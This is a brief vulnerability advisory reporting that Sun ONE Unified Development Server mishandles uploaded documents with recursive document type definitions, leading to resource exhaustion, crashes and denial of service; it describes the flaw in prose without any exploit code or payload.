It has been reported that problems with the handling of recursive document type definitions (DTDs) occur in Sun ONE Unified Development Server (UDS). When a document is uploaded containing these types of constructs, the system experiences high resource consumption that can result in crash of the system, and denial of service to legitimate users.
